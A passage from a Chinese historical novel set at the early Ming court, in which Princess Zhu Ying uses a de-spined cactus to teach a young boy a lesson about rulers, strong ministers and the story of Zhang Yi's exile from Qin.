朱橚耐着性子听完,眉头忍不住皱起,“我都知道了,我也在凤阳住了好些时候了,再说宋国公也在开封一带呢,有他老人家照应我。”
陈姑握了握他的手,“姑姑还是担心你啊。”
朱樱凑近仙人掌,抬手摘下一颗小球。
“姑姑……”小童子仰起头,扯扯她的衣袖,小声道,“姑姑,那上面有刺,会刺到手的。”
“没关系。”朱樱侧身坐在栏杆上,俯身抱起小童子,摊开手掌,那颗碧绿的小球上半部分生着较为柔软的小刺,尚未被拔去。
小童子眨巴着眼,伸出一截手指,戳了戳仙人球,不解道:“上面的刺不见了……”
“是你母妃叫人拔去了。”朱樱抬手揉了揉他的发鬏。
“为什么要拔掉呢?”小童子看看自己肉乎乎的小手,手指上还留着一个圆圆的伤口,“我被扎了手,很痛……可是拔掉它的刺,和拔掉我的头发一样,一定也很痛吧?”
朱樱看了他一会儿,用帕子包起小仙人球,轻轻道:“是很痛的。”
陈姑笑起来,“高昌公主好生心善,这样说来,我们吃飞禽走兽,菜蔬瓜果,也是好大的罪过了。”
朱樱浅浅一笑,不置可否,摸了摸小童子的面颊,他一脸懵懂,大眼迷茫。
“观音掌是很好的,寓意着万事如意,还能做药,可它带着刺。”朱樱蹲在小童子面前,与他平视,“大人们不会怕它的刺,可是孩子们总不免被刺到,所以大人们要拔去它的刺,怕孩子再被刺到。”
小童子委屈地咬手指,“所以,是我害它变成这样的吗?”
原本八面锋芒的仙人掌变得光秃秃的,虽更显碧绿,但缺了些什么,终究没从前好看。
“是啊,正是因为你的没用,连自己都护不了,才会如此。”朱樱淡淡道。
朱橚制止道:“阿樱,你这话说重了,一株草木而已,何至于此?”
朱樱抬眸,咥然一笑,“我看可不只是草木如此。五哥以为昔张仪奔魏,所为何也?”
朱橚不愿在陈姑面前落下学问不好的印象,忙应
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道:“自是因武王不容。”
“樱却以为,是惠文王遗命。”朱樱道,“知子之不慧,故逐良臣。”
惠文王死于疾病,并非朝夕暴死,他既能预见到自己的死,必会铺好路。
他招揽了天下谋士来成就一番霸业,如今功业伊始,幼子无能,明摆着治不住那一干巧舌如簧又野心勃勃的旧臣。
他曾招揽了天下名士,欲一同图谋霸业,可惜天时不待。
陈姑抬起微掩的眼皮,看着朱樱,眼眸微微闪动。
怕旧臣欺哄幼主,因此才驱逐曾经最得力的臣子。这话虽说出来有些薄情,但确实有国君会这样做——杀戮旧臣,为幼子上位做好准备,像惠文王仅是驱逐旧臣,相较之下,倒已是心慈之辈。
只是,一个年轻女郎能有这样的见地,当真少见——偏还在孩子面前提起。
小童子早已听不懂他们的话,只知道依在朱樱身旁,尽力想将这几句话记下来,明日去问先生。
朱橚不日就要前往开封,马皇后派人唤他入宫去吩咐几句话,陈姑陪着一道去了。
“姑姑也要走了吗?”小童子手足并用爬上一旁的假山,仰头望着朱樱,糯糯地道,“母妃说,姑姑帮我治好了手指,要跟姑姑说一声谢谢。”
“真乖巧,这是昨日的药膏,往后若被蚊虫咬了,也涂这个,一会儿就好了。”朱樱摸摸他的额角,取出绘着青花的小瓷盒,俯身交到他手中,含笑问道,“你喜欢姑姑么?”
小童子攥紧瓷盒,点头,“我喜欢叔父和姑姑们。”
朱樱起身,指尖一点他小小的鼻子,“那就好好努力吧。”
打天下的臣子,身上的锋芒可比一株仙人掌多太多了,不变得更厉害,将来怎能镇住他们,让他们为自己所用呢?
小童子懵懂地点头,将瓷盒轻轻揭开,里面白色的膏体散发着清新好闻的气味,他将瓷盒的盖子贴在面颊上,好凉。
可朱樱方才的神情,记在他心上,让他的心里莫名地更凉几分。